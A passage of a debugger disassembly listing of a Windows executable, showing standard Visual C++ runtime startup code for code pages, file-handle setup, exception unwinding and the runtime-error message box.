47 INC EDI 00406C6B 83C5 08 ADD EBP,8 00406C6E 83FF 04 CMP EDI,4 00406C71 ^72 BE JB SHORT www_mypa.00406C31 00406C73 8B4424 28 MOV EAX,DWORD PTR SS:[ESP+28] 00406C77 50 PUSH EAX 00406C78 A3 4C0A4100 MOV DWORD PTR DS:[410A4C],EAX 00406C7D E8 8E000000 CALL www_mypa.00406D10 00406C82 8B8B B4EE4000 MOV ECX,DWORD PTR DS:[EBX+40EEB4] 00406C88 8B93 B8EE4000 MOV EDX,DWORD PTR DS:[EBX+40EEB8] 00406C8E A3 500A4100 MOV DWORD PTR DS:[410A50],EAX 00406C93 8D83 B4EE4000 LEA EAX,DWORD PTR DS:[EBX+40EEB4] 00406C99 83C4 04 ADD ESP,4 00406C9C 890D 580A4100 MOV DWORD PTR DS:[410A58],ECX 00406CA2 8B40 08 MOV EAX,DWORD PTR DS:[EAX+8] 00406CA5 8915 5C0A4100 MOV DWORD PTR DS:[410A5C],EDX 00406CAB 5F POP EDI 00406CAC 5E POP ESI 00406CAD A3 600A4100 MOV DWORD PTR DS:[410A60],EAX 00406CB2 5D POP EBP 00406CB3 33C0 XOR EAX,EAX 00406CB5 5B POP EBX 00406CB6 83C4 14 ADD ESP,14 00406CB9 C3 RETN 00406CBA 90 NOP 00406CBB 90 NOP 00406CBC 90 NOP 00406CBD 90 NOP 00406CBE 90 NOP 00406CBF 90 NOP 00406CC0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00406CC4 C705 640A4100 00>MOV DWORD PTR DS:[410A64],0 00406CCE 83F8 FE CMP EAX,-2 00406CD1 75 10 JNZ SHORT www_mypa.00406CE3 00406CD3 C705 640A4100 01>MOV DWORD PTR DS:[410A64],1 00406CDD -FF25 70224100 JMP DWORD PTR DS:[412270] ; kernel32.GetOEMCP 00406CE3 83F8 FD CMP EAX,-3 00406CE6 75 10 JNZ SHORT www_mypa.00406CF8 00406CE8 C705 640A4100 01>MOV DWORD PTR DS:[410A64],1 00406CF2 -FF25 6C224100 JMP DWORD PTR DS:[41226C] ; kernel32.GetACP 00406CF8 83F8 FC CMP EAX,-4 00406CFB 75 0F JNZ SHORT www_mypa.00406D0C 00406CFD A1 980A4100 MOV EAX,DWORD PTR DS:[410A98] 00406D02 C705 640A4100 01>MOV DWORD PTR DS:[410A64],1 00406D0C C3 RETN 00406D0D 90 NOP 00406D0E 90 NOP 00406D0F 90 NOP 00406D10 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00406D14 05 5CFCFFFF ADD EAX,-3A4 00406D19 83F8 12 CMP EAX,12 00406D1C 77 27 JA SHORT www_mypa.00406D45 00406D1E 33C9 XOR ECX,ECX 00406D20 8A88 5C6D4000 MOV CL,BYTE PTR DS:[EAX+406D5C] 00406D26 FF248D 486D4000 JMP DWORD PTR DS:[ECX*4+406D48] 00406D2D B8 11040000 MOV EAX,411 00406D32 C3 RETN 00406D33 B8 04080000 MOV EAX,804 00406D38 C3 RETN 00406D39 B8 12040000 MOV EAX,412 00406D3E C3 RETN 00406D3F B8 04040000 MOV EAX,404 00406D44 C3 RETN 00406D45 33C0 XOR EAX,EAX 00406D47 C3 RETN 00406D48 2D 6D400033 SUB EAX,3300406D 00406D4D 6D INS DWORD PTR ES:[EDI],DX ; I/O command 00406D4E 40 INC EAX 00406D4F 0039 ADD BYTE PTR DS:[ECX],BH 00406D51 6D INS DWORD PTR ES:[EDI],DX ; I/O command 00406D52 40 INC EAX 00406D53 003F ADD BYTE PTR DS:[EDI],BH 00406D55 6D INS DWORD PTR ES:[EDI],DX ; I/O command 00406D56 40 INC EAX 00406D57 0045 6D ADD BYTE PTR SS:[EBP+6D],AL 00406D5A 40 INC EAX 00406D5B 0000 ADD BYTE PTR DS:[EAX],AL 00406D5D 04 04 ADD AL,4 00406D5F 04 01 ADD AL,1 00406D61 04 04 ADD AL,4 00406D63 04 04 ADD AL,4 00406D65 04 04 ADD AL,4 00406D67 04 04 ADD AL,4 00406D69 04 04 ADD AL,4 00406D6B 04 04 ADD AL,4 00406D6D 0203 ADD AL,BYTE PTR DS:[EBX] 00406D6F 90 NOP 00406D70 57 PUSH EDI 00406D71 B9 40000000 MOV ECX,40 00406D76 33C0 XOR EAX,EAX 00406D78 BF 48094100 MOV EDI,www_mypa.00410948 00406D7D F3:AB REP STOS DWORD PTR ES:[EDI] 00406D7F AA STOS BYTE PTR ES:[EDI] 00406D80 33C0 XOR EAX,EAX 00406D82 5F POP EDI 00406D83 A3 4C0A4100 MOV DWORD PTR DS:[410A4C],EAX 00406D88 A3 500A4100 MOV DWORD PTR DS:[410A50],EAX 00406D8D A3 580A4100 MOV DWORD PTR DS:[410A58],EAX 00406D92 A3 5C0A4100 MOV DWORD PTR DS:[410A5C],EAX 00406D97 A3 600A4100 MOV DWORD PTR DS:[410A60],EAX 00406D9C C3 RETN 00406D9D 90 NOP 00406D9E 90 NOP 00406D9F 90 NOP 00406DA0 6A FD PUSH -3 00406DA2 E8 29FDFFFF CALL www_mypa.00406AD0 00406DA7 83C4 04 ADD ESP,4 00406DAA C3 RETN 00406DAB 90 NOP 00406DAC 90 NOP 00406DAD 90 NOP 00406DAE 90 NOP 00406DAF 90 NOP 00406DB0 83EC 48 SUB ESP,48 00406DB3 53 PUSH EBX 00406DB4 55 PUSH EBP 00406DB5 56 PUSH ESI 00406DB6 57 PUSH EDI 00406DB7 68 00010000 PUSH 100 00406DBC E8 3FB8FFFF CALL www_mypa.00402600 00406DC1 8BF0 MOV ESI,EAX 00406DC3 83C4 04 ADD ESP,4 00406DC6 85F6 TEST ESI,ESI 00406DC8 75 0A JNZ SHORT www_mypa.00406DD4 00406DCA 6A 1B PUSH 1B 00406DCC E8 AFC8FFFF CALL www_mypa.00403680 00406DD1 83C4 04 ADD ESP,4 00406DD4 8D86 00010000 LEA EAX,DWORD PTR DS:[ESI+100] 00406DDA 8935 E01A4100 MOV DWORD PTR DS:[411AE0],ESI 00406DE0 3BF0 CMP ESI,EAX 00406DE2 C705 E01B4100 20>MOV DWORD PTR DS:[411BE0],20 00406DEC B3 0A MOV BL,0A 00406DEE 73 20 JNB SHORT www_mypa.00406E10 00406DF0 C646 04 00 MOV BYTE PTR DS:[ESI+4],0 00406DF4 C706 FFFFFFFF MOV DWORD PTR DS:[ESI],-1 00406DFA 885E 05 MOV BYTE PTR DS:[ESI+5],BL 00406DFD 8B0D E01A4100 MOV ECX,DWORD PTR DS:[411AE0] 00406E03 83C6 08 ADD ESI,8 00406E06 81C1 00010000 ADD ECX,100 00406E0C 3BF1 CMP ESI,ECX 00406E0E ^72 E0 JB SHORT www_mypa.00406DF0 00406E10 8D5424 14 LEA EDX,DWORD PTR SS:[ESP+14] 00406E14 52 PUSH EDX 00406E15 FF15 7C224100 CALL DWORD PTR DS:[41227C] ; kernel32.GetStartupInfoA 00406E1B 66:837C24 46 00 CMP WORD PTR SS:[ESP+46],0 00406E21 0F84 F2000000 JE www_mypa.00406F19 00406E27 8B4424 48 MOV EAX,DWORD PTR SS:[ESP+48] 00406E2B 85C0 TEST EAX,EAX 00406E2D 0F84 E6000000 JE www_mypa.00406F19 00406E33 8B08 MOV ECX,DWORD PTR DS:[EAX] 00406E35 8D78 04 LEA EDI,DWORD PTR DS:[EAX+4] 00406E38 81F9 00080000 CMP ECX,800 00406E3E 894C24 10 MOV DWORD PTR SS:[ESP+10],ECX 00406E42 8D2C0F LEA EBP,DWORD PTR DS:[EDI+ECX] 00406E45 7C 08 JL SHORT www_mypa.00406E4F 00406E47 C74424 10 000800>MOV DWORD PTR SS:[ESP+10],800 00406E4F 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00406E53 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 00406E59 3BC8 CMP ECX,EAX 00406E5B 7D 69 JGE SHORT www_mypa.00406EC6 00406E5D BE E41A4100 MOV ESI,www_mypa.00411AE4 00406E62 68 00010000 PUSH 100 00406E67 E8 94B7FFFF CALL www_mypa.00402600 00406E6C 83C4 04 ADD ESP,4 00406E6F 85C0 TEST EAX,EAX 00406E71 74 49 JE SHORT www_mypa.00406EBC 00406E73 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 00406E79 8906 MOV DWORD PTR DS:[ESI],EAX 00406E7B 83C1 20 ADD ECX,20 00406E7E 890D E01B4100 MOV DWORD PTR DS:[411BE0],ECX 00406E84 8D88 00010000 LEA ECX,DWORD PTR DS:[EAX+100] 00406E8A 3BC1 CMP EAX,ECX 00406E8C 73 1C JNB SHORT www_mypa.00406EAA 00406E8E C640 04 00 MOV BYTE PTR DS:[EAX+4],0 00406E92 C700 FFFFFFFF MOV DWORD PTR DS:[EAX],-1 00406E98 8858 05 MOV BYTE PTR DS:[EAX+5],BL 00406E9B 8B16 MOV EDX,DWORD PTR DS:[ESI] 00406E9D 83C0 08 ADD EAX,8 00406EA0 81C2 00010000 ADD EDX,100 00406EA6 3BC2 CMP EAX,EDX 00406EA8 ^72 E4 JB SHORT www_mypa.00406E8E 00406EAA A1 E01B4100 MOV EAX,DWORD PTR DS:[411BE0] 00406EAF 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10] 00406EB3 83C6 04 ADD ESI,4 00406EB6 3BC1 CMP EAX,ECX 00406EB8 ^7C A8 JL SHORT www_mypa.00406E62 00406EBA EB 0A JMP SHORT www_mypa.00406EC6 00406EBC 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 00406EC2 894C24 10 MOV DWORD PTR SS:[ESP+10],ECX 00406EC6 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00406ECA 33F6 XOR ESI,ESI 00406ECC 85C0 TEST EAX,EAX 00406ECE 7E 49 JLE SHORT www_mypa.00406F19 00406ED0 8B4D 00 MOV ECX,DWORD PTR SS:[EBP] 00406ED3 83F9 FF CMP ECX,-1 00406ED6 74 34 JE SHORT www_mypa.00406F0C 00406ED8 8A07 MOV AL,BYTE PTR DS:[EDI] 00406EDA A8 01 TEST AL,1 00406EDC 74 2E JE SHORT www_mypa.00406F0C 00406EDE A8 08 TEST AL,8 00406EE0 75 0B JNZ SHORT www_mypa.00406EED 00406EE2 51 PUSH ECX 00406EE3 FF15 78224100 CALL DWORD PTR DS:[412278] ; kernel32.GetFileType 00406EE9 85C0 TEST EAX,EAX 00406EEB 74 1F JE SHORT www_mypa.00406F0C 00406EED 8BD6 MOV EDX,ESI 00406EEF 8BC6 MOV EAX,ESI 00406EF1 C1FA 05 SAR EDX,5 00406EF4 83E0 1F AND EAX,1F 00406EF7 8B0C95 E01A4100 MOV ECX,DWORD PTR DS:[EDX*4+411AE0] 00406EFE 8B55 00 MOV EDX,DWORD PTR SS:[EBP] 00406F01 8914C1 MOV DWORD PTR DS:[ECX+EAX*8],EDX 00406F04 8D04C1 LEA EAX,DWORD PTR DS:[ECX+EAX*8] 00406F07 8A0F MOV CL,BYTE PTR DS:[EDI] 00406F09 8848 04 MOV BYTE PTR DS:[EAX+4],CL 00406F0C 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00406F10 46 INC ESI 00406F11 47 INC EDI 00406F12 83C5 04 ADD EBP,4 00406F15 3BF0 CMP ESI,EAX 00406F17 ^7C B7 JL SHORT www_mypa.00406ED0 00406F19 8B2D 64224100 MOV EBP,DWORD PTR DS:[412264] ; kernel32.GetStdHandle 00406F1F 33DB XOR EBX,EBX 00406F21 8B15 E01A4100 MOV EDX,DWORD PTR DS:[411AE0] 00406F27 8B04DA MOV EAX,DWORD PTR DS:[EDX+EBX*8] 00406F2A 8D34DA LEA ESI,DWORD PTR DS:[EDX+EBX*8] 00406F2D 83F8 FF CMP EAX,-1 00406F30 75 54 JNZ SHORT www_mypa.00406F86 00406F32 85DB TEST EBX,EBX 00406F34 C646 04 81 MOV BYTE PTR DS:[ESI+4],81 00406F38 75 07 JNZ SHORT www_mypa.00406F41 00406F3A B8 F6FFFFFF MOV EAX,-0A 00406F3F EB 0A JMP SHORT www_mypa.00406F4B 00406F41 8BC3 MOV EAX,EBX 00406F43 48 DEC EAX 00406F44 F7D8 NEG EAX 00406F46 1BC0 SBB EAX,EAX 00406F48 83C0 F5 ADD EAX,-0B 00406F4B 50 PUSH EAX 00406F4C FFD5 CALL EBP 00406F4E 8BF8 MOV EDI,EAX 00406F50 83FF FF CMP EDI,-1 00406F53 74 2A JE SHORT www_mypa.00406F7F 00406F55 57 PUSH EDI 00406F56 FF15 78224100 CALL DWORD PTR DS:[412278] ; kernel32.GetFileType 00406F5C 85C0 TEST EAX,EAX 00406F5E 74 1F JE SHORT www_mypa.00406F7F 00406F60 25 FF000000 AND EAX,0FF 00406F65 893E MOV DWORD PTR DS:[ESI],EDI 00406F67 83F8 02 CMP EAX,2 00406F6A 75 07 JNZ SHORT www_mypa.00406F73 00406F6C 8A46 04 MOV AL,BYTE PTR DS:[ESI+4] 00406F6F 0C 40 OR AL,40 00406F71 EB 18 JMP SHORT www_mypa.00406F8B 00406F73 83F8 03 CMP EAX,3 00406F76 75 16 JNZ SHORT www_mypa.00406F8E 00406F78 8A46 04 MOV AL,BYTE PTR DS:[ESI+4] 00406F7B 0C 08 OR AL,8 00406F7D EB 0C JMP SHORT www_mypa.00406F8B 00406F7F 8A46 04 MOV AL,BYTE PTR DS:[ESI+4] 00406F82 0C 40 OR AL,40 00406F84 EB 05 JMP SHORT www_mypa.00406F8B 00406F86 8A46 04 MOV AL,BYTE PTR DS:[ESI+4] 00406F89 0C 80 OR AL,80 00406F8B 8846 04 MOV BYTE PTR DS:[ESI+4],AL 00406F8E 43 INC EBX 00406F8F 83FB 03 CMP EBX,3 00406F92 ^7C 8D JL SHORT www_mypa.00406F21 00406F94 A1 E01B4100 MOV EAX,DWORD PTR DS:[411BE0] 00406F99 50 PUSH EAX 00406F9A FF15 74224100 CALL DWORD PTR DS:[412274] ; kernel32.SetHandleCount 00406FA0 5F POP EDI 00406FA1 5E POP ESI 00406FA2 5D POP EBP 00406FA3 5B POP EBX 00406FA4 83C4 48 ADD ESP,48 00406FA7 C3 RETN 00406FA8 90 NOP 00406FA9 90 NOP 00406FAA 90 NOP 00406FAB 90 NOP 00406FAC 90 NOP 00406FAD 90 NOP 00406FAE 90 NOP 00406FAF 90 NOP 00406FB0 55 PUSH EBP 00406FB1 8BEC MOV EBP,ESP 00406FB3 53 PUSH EBX 00406FB4 56 PUSH ESI 00406FB5 57 PUSH EDI 00406FB6 55 PUSH EBP 00406FB7 6A 00 PUSH 0 00406FB9 6A 00 PUSH 0 00406FBB 68 C86F4000 PUSH www_mypa.00406FC8 00406FC0 FF75 08 PUSH DWORD PTR SS:[EBP+8] 00406FC3 E8 B8230000 CALL www_mypa.00409380 ; JMP to ntdll.RtlUnwind 00406FC8 5D POP EBP 00406FC9 5F POP EDI 00406FCA 5E POP ESI 00406FCB 5B POP EBX 00406FCC 8BE5 MOV ESP,EBP 00406FCE 5D POP EBP 00406FCF C3 RETN 00406FD0 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00406FD4 F741 04 06000000 TEST DWORD PTR DS:[ECX+4],6 00406FDB B8 01000000 MOV EAX,1 00406FE0 74 0F JE SHORT www_mypa.00406FF1 00406FE2 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00406FE6 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 00406FEA 8902 MOV DWORD PTR DS:[EDX],EAX 00406FEC B8 03000000 MOV EAX,3 00406FF1 C3 RETN 00406FF2 53 PUSH EBX 00406FF3 56 PUSH ESI 00406FF4 57 PUSH EDI 00406FF5 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00406FF9 50 PUSH EAX 00406FFA 6A FE PUSH -2 00406FFC 68 D06F4000 PUSH www_mypa.00406FD0 00407001 64:FF35 00000000 PUSH DWORD PTR FS:[0] 00407008 64:8925 00000000 MOV DWORD PTR FS:[0],ESP 0040700F 8B4424 20 MOV EAX,DWORD PTR SS:[ESP+20] 00407013 8B58 08 MOV EBX,DWORD PTR DS:[EAX+8] 00407016 8B70 0C MOV ESI,DWORD PTR DS:[EAX+C] 00407019 83FE FF CMP ESI,-1 0040701C 74 2E JE SHORT www_mypa.0040704C 0040701E 3B7424 24 CMP ESI,DWORD PTR SS:[ESP+24] 00407022 74 28 JE SHORT www_mypa.0040704C 00407024 8D3476 LEA ESI,DWORD PTR DS:[ESI+ESI*2] 00407027 8B0CB3 MOV ECX,DWORD PTR DS:[EBX+ESI*4] 0040702A 894C24 08 MOV DWORD PTR SS:[ESP+8],ECX 0040702E 8948 0C MOV DWORD PTR DS:[EAX+C],ECX 00407031 837CB3 04 00 CMP DWORD PTR DS:[EBX+ESI*4+4],0 00407036 75 12 JNZ SHORT www_mypa.0040704A 00407038 68 01010000 PUSH 101 0040703D 8B44B3 08 MOV EAX,DWORD PTR DS:[EBX+ESI*4+8] 00407041 E8 40000000 CALL www_mypa.00407086 00407046 FF54B3 08 CALL DWORD PTR DS:[EBX+ESI*4+8] 0040704A ^EB C3 JMP SHORT www_mypa.0040700F 0040704C 64:8F05 00000000 POP DWORD PTR FS:[0] 00407053 83C4 0C ADD ESP,0C 00407056 5F POP EDI 00407057 5E POP ESI 00407058 5B POP EBX 00407059 C3 RETN 0040705A 33C0 XOR EAX,EAX 0040705C 64:8B0D 00000000 MOV ECX,DWORD PTR FS:[0] 00407063 8179 04 D06F4000 CMP DWORD PTR DS:[ECX+4],www_mypa.00406F> 0040706A 75 10 JNZ SHORT www_mypa.0040707C 0040706C 8B51 0C MOV EDX,DWORD PTR DS:[ECX+C] 0040706F 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C] 00407072 3951 08 CMP DWORD PTR DS:[ECX+8],EDX 00407075 75 05 JNZ SHORT www_mypa.0040707C 00407077 B8 01000000 MOV EAX,1 0040707C C3 RETN 0040707D 53 PUSH EBX 0040707E 51 PUSH ECX 0040707F BB A8EF4000 MOV EBX,www_mypa.0040EFA8 00407084 EB 0A JMP SHORT www_mypa.00407090 00407086 53 PUSH EBX 00407087 51 PUSH ECX 00407088 BB A8EF4000 MOV EBX,www_mypa.0040EFA8 0040708D 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8] 00407090 894B 08 MOV DWORD PTR DS:[EBX+8],ECX 00407093 8943 04 MOV DWORD PTR DS:[EBX+4],EAX 00407096 896B 0C MOV DWORD PTR DS:[EBX+C],EBP 00407099 59 POP ECX 0040709A 5B POP EBX 0040709B C2 0400 RETN 4 0040709E CC INT3 0040709F CC INT3 004070A0 56 PUSH ESI 004070A1 43 INC EBX 004070A2 3230 XOR DH,BYTE PTR DS:[EAX] 004070A4 58 POP EAX 004070A5 43 INC EBX 004070A6 3030 XOR BYTE PTR DS:[EAX],DH 004070A8 55 PUSH EBP 004070A9 8BEC MOV EBP,ESP 004070AB 83EC 08 SUB ESP,8 004070AE 53 PUSH EBX 004070AF 56 PUSH ESI 004070B0 57 PUSH EDI 004070B1 55 PUSH EBP 004070B2 FC CLD 004070B3 8B5D 0C MOV EBX,DWORD PTR SS:[EBP+C] 004070B6 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 004070B9 F740 04 06000000 TEST DWORD PTR DS:[EAX+4],6 004070C0 0F85 82000000 JNZ www_mypa.00407148 004070C6 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX 004070C9 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10] 004070CC 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 004070CF 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 004070D2 8943 FC MOV DWORD PTR DS:[EBX-4],EAX 004070D5 8B73 0C MOV ESI,DWORD PTR DS:[EBX+C] 004070D8 8B7B 08 MOV EDI,DWORD PTR DS:[EBX+8] 004070DB 83FE FF CMP ESI,-1 004070DE 74 61 JE SHORT www_mypa.00407141 004070E0 8D0C76 LEA ECX,DWORD PTR DS:[ESI+ESI*2] 004070E3 837C8F 04 00 CMP DWORD PTR DS:[EDI+ECX*4+4],0 004070E8 74 45 JE SHORT www_mypa.0040712F 004070EA 56 PUSH ESI 004070EB 55 PUSH EBP 004070EC 8D6B 10 LEA EBP,DWORD PTR DS:[EBX+10] 004070EF FF548F 04 CALL DWORD PTR DS:[EDI+ECX*4+4] 004070F3 5D POP EBP 004070F4 5E POP ESI 004070F5 8B5D 0C MOV EBX,DWORD PTR SS:[EBP+C] 004070F8 0BC0 OR EAX,EAX 004070FA 74 33 JE SHORT www_mypa.0040712F 004070FC 78 3C JS SHORT www_mypa.0040713A 004070FE 8B7B 08 MOV EDI,DWORD PTR DS:[EBX+8] 00407101 53 PUSH EBX 00407102 E8 A9FEFFFF CALL www_mypa.00406FB0 00407107 83C4 04 ADD ESP,4 0040710A 8D6B 10 LEA EBP,DWORD PTR DS:[EBX+10] 0040710D 56 PUSH ESI 0040710E 53 PUSH EBX 0040710F E8 DEFEFFFF CALL www_mypa.00406FF2 00407114 83C4 08 ADD ESP,8 00407117 8D0C76 LEA ECX,DWORD PTR DS:[ESI+ESI*2] 0040711A 6A 01 PUSH 1 0040711C 8B448F 08 MOV EAX,DWORD PTR DS:[EDI+ECX*4+8] 00407120 E8 61FFFFFF CALL www_mypa.00407086 00407125 8B048F MOV EAX,DWORD PTR DS:[EDI+ECX*4] 00407128 8943 0C MOV DWORD PTR DS:[EBX+C],EAX 0040712B FF548F 08 CALL DWORD PTR DS:[EDI+ECX*4+8] 0040712F 8B7B 08 MOV EDI,DWORD PTR DS:[EBX+8] 00407132 8D0C76 LEA ECX,DWORD PTR DS:[ESI+ESI*2] 00407135 8B348F MOV ESI,DWORD PTR DS:[EDI+ECX*4] 00407138 ^EB A1 JMP SHORT www_mypa.004070DB 0040713A B8 00000000 MOV EAX,0 0040713F EB 1C JMP SHORT www_mypa.0040715D 00407141 B8 01000000 MOV EAX,1 00407146 EB 15 JMP SHORT www_mypa.0040715D 00407148 55 PUSH EBP 00407149 8D6B 10 LEA EBP,DWORD PTR DS:[EBX+10] 0040714C 6A FF PUSH -1 0040714E 53 PUSH EBX 0040714F E8 9EFEFFFF CALL www_mypa.00406FF2 00407154 83C4 08 ADD ESP,8 00407157 5D POP EBP 00407158 B8 01000000 MOV EAX,1 0040715D 5D POP EBP 0040715E 5F POP EDI 0040715F 5E POP ESI 00407160 5B POP EBX 00407161 8BE5 MOV ESP,EBP 00407163 5D POP EBP 00407164 C3 RETN 00407165 55 PUSH EBP 00407166 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 0040716A 8B29 MOV EBP,DWORD PTR DS:[ECX] 0040716C 8B41 1C MOV EAX,DWORD PTR DS:[ECX+1C] 0040716F 50 PUSH EAX 00407170 8B41 18 MOV EAX,DWORD PTR DS:[ECX+18] 00407173 50 PUSH EAX 00407174 E8 79FEFFFF CALL www_mypa.00406FF2 00407179 83C4 08 ADD ESP,8 0040717C 5D POP EBP 0040717D C2 0400 RETN 4 00407180 A1 3C074100 MOV EAX,DWORD PTR DS:[41073C] 00407185 83F8 01 CMP EAX,1 00407188 74 0D JE SHORT www_mypa.00407197 0040718A 85C0 TEST EAX,EAX 0040718C 75 2E JNZ SHORT www_mypa.004071BC 0040718E 833D C4CB4000 01 CMP DWORD PTR DS:[40CBC4],1 00407195 75 25 JNZ SHORT www_mypa.004071BC 00407197 68 FC000000 PUSH 0FC 0040719C E8 1F000000 CALL www_mypa.004071C0 004071A1 A1 680A4100 MOV EAX,DWORD PTR DS:[410A68] 004071A6 83C4 04 ADD ESP,4 004071A9 85C0 TEST EAX,EAX 004071AB 74 02 JE SHORT www_mypa.004071AF 004071AD FFD0 CALL EAX 004071AF 68 FF000000 PUSH 0FF 004071B4 E8 07000000 CALL www_mypa.004071C0 004071B9 83C4 04 ADD ESP,4 004071BC C3 RETN 004071BD 90 NOP 004071BE 90 NOP 004071BF 90 NOP 004071C0 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 004071C4 81EC A8010000 SUB ESP,1A8 004071CA B8 B8EF4000 MOV EAX,www_mypa.0040EFB8 004071CF 53 PUSH EBX 004071D0 55 PUSH EBP 004071D1 56 PUSH ESI 004071D2 57 PUSH EDI 004071D3 33ED XOR EBP,EBP 004071D5 3B08 CMP ECX,DWORD PTR DS:[EAX] 004071D7 74 0B JE SHORT www_mypa.004071E4 004071D9 83C0 08 ADD EAX,8 004071DC 45 INC EBP 004071DD 3D 48F04000 CMP EAX,www_mypa.0040F048 004071E2 ^72 F1 JB SHORT www_mypa.004071D5 004071E4 3B0CED B8EF4000 CMP ECX,DWORD PTR DS:[EBP*8+40EFB8] 004071EB 0F85 9A010000 JNZ www_mypa.0040738B 004071F1 A1 3C074100 MOV EAX,DWORD PTR DS:[41073C] 004071F6 83F8 01 CMP EAX,1 004071F9 0F84 4E010000 JE www_mypa.0040734D 004071FF 85C0 TEST EAX,EAX 00407201 75 0D JNZ SHORT www_mypa.00407210 00407203 833D C4CB4000 01 CMP DWORD PTR DS:[40CBC4],1 0040720A 0F84 3D010000 JE www_mypa.0040734D 00407210 81F9 FC000000 CMP ECX,0FC 00407216 0F84 6F010000 JE www_mypa.0040738B 0040721C 8D8424 B4000000 LEA EAX,DWORD PTR SS:[ESP+B4] 00407223 68 04010000 PUSH 104 00407228 50 PUSH EAX 00407229 6A 00 PUSH 0 0040722B FF15 50224100 CALL DWORD PTR DS:[412250] ; kernel32.GetModuleFileNameA 00407231 85C0 TEST EAX,EAX 00407233 75 16 JNZ SHORT www_mypa.0040724B 00407235 B9 05000000 MOV ECX,5 0040723A BE A4A34000 MOV ESI,www_mypa.0040A3A4 ; ASCII "" 0040723F 8DBC24 B4000000 LEA EDI,DWORD PTR SS:[ESP+B4] 00407246 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 00407248 66:A5 MOVS WORD PTR ES:[EDI],WORD PTR DS:[ESI] 0040724A A4 MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 0040724B 8DBC24 B4000000 LEA EDI,DWORD PTR SS:[ESP+B4] 00407252 83C9 FF OR ECX,FFFFFFFF 00407255 33C0 XOR EAX,EAX 00407257 8D9C24 B4000000 LEA EBX,DWORD PTR SS:[ESP+B4] 0040725E F2:AE REPNE SCAS BYTE PTR ES:[EDI] 00407260 F7D1 NOT ECX 00407262 83F9 3C CMP ECX,3C 00407265 76 2D JBE SHORT www_mypa.00407294 00407267 8DBC24 B4000000 LEA EDI,DWORD PTR SS:[ESP+B4] 0040726E 83C9 FF OR ECX,FFFFFFFF 00407271 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 00407273 F7D1 NOT ECX 00407275 49 DEC ECX 00407276 6A 03 PUSH 3 00407278 8BD9 MOV EBX,ECX 0040727A 8D8C24 B8000000 LEA ECX,DWORD PTR SS:[ESP+B8] 00407281 83E9 3B SUB ECX,3B 00407284 68 A0A34000 PUSH www_mypa.0040A3A0 ; ASCII "..." 00407289 03D9 ADD EBX,ECX 0040728B 53 PUSH EBX 0040728C E8 CF110000 CALL www_mypa.00408460 00407291 83C4 0C ADD ESP,0C 00407294 B9 06000000 MOV ECX,6 00407299 BE 84A34000 MOV ESI,www_mypa.0040A384 ; ASCII "Runtime Error! Program: " 0040729E 8D7C24 14 LEA EDI,DWORD PTR SS:[ESP+14] 004072A2 33C0 XOR EAX,EAX 004072A4 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 004072A6 66:A5 MOVS WORD PTR ES:[EDI],WORD PTR DS:[ESI] 004072A8 83C9 FF OR ECX,FFFFFFFF 004072AB 8BFB MOV EDI,EBX 004072AD F2:AE REPNE SCAS BYTE PTR ES:[EDI] 004072AF F7D1 NOT ECX 004072B1 2BF9 SUB EDI,ECX 004072B3 8D5424 14 LEA EDX,DWORD PTR SS:[ESP+14] 004072B7 8BD9 MOV EBX,ECX 004072B9 8BF7 MOV ESI,EDI 004072BB 83C9 FF OR ECX,FFFFFFFF 004072BE 8BFA MOV EDI,EDX 004072C0 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 004072C2 8BCB MOV ECX,EBX 004072C4 4F DEC EDI 004072C5 C1E9 02 SHR ECX,2 004072C8 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 004072CA 8BCB MOV ECX,EBX 004072CC 8D5424 14 LEA EDX,DWORD PTR SS:[ESP+14] 004072D0 83E1 03 AND ECX,3 004072D3 68 10200100 PUSH 12010 004072D8 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 004072DA BF 80A34000 MOV EDI,www_mypa.0040A380 ; ASCII " " 004072DF 83C9 FF OR ECX,FFFFFFFF 004072E2 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 004072E4 F7D1 NOT ECX 004072E6 2BF9 SUB EDI,ECX 004072E8 68 58A34000 PUSH www_mypa.0040A358 ; ASCII "Microsoft Visual C++ Runtime Library" 004072ED 8BF7 MOV ESI,EDI 004072EF 8BD9 MOV EBX,ECX 004072F1 8BFA MOV EDI,EDX 004072F3 83C9 FF OR ECX,FFFFFFFF 004072F6 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 004072F8 8BCB MOV ECX,EBX 004072FA 4F DEC EDI 004072FB C1E9 02 SHR ECX,2 004072FE F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 00407300 8BCB MOV ECX,EBX 00407302 8D5424 1C LEA EDX,DWORD PTR SS:[ESP+1C] 00407306 83E1 03 AND ECX,3 00407309 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 0040730B 8B3CED BCEF4000 MOV EDI,DWORD PTR DS:[EBP*8+40EFBC] 00407312 83C9 FF OR ECX,FFFFFFFF 00407315 F2:AE REPNE 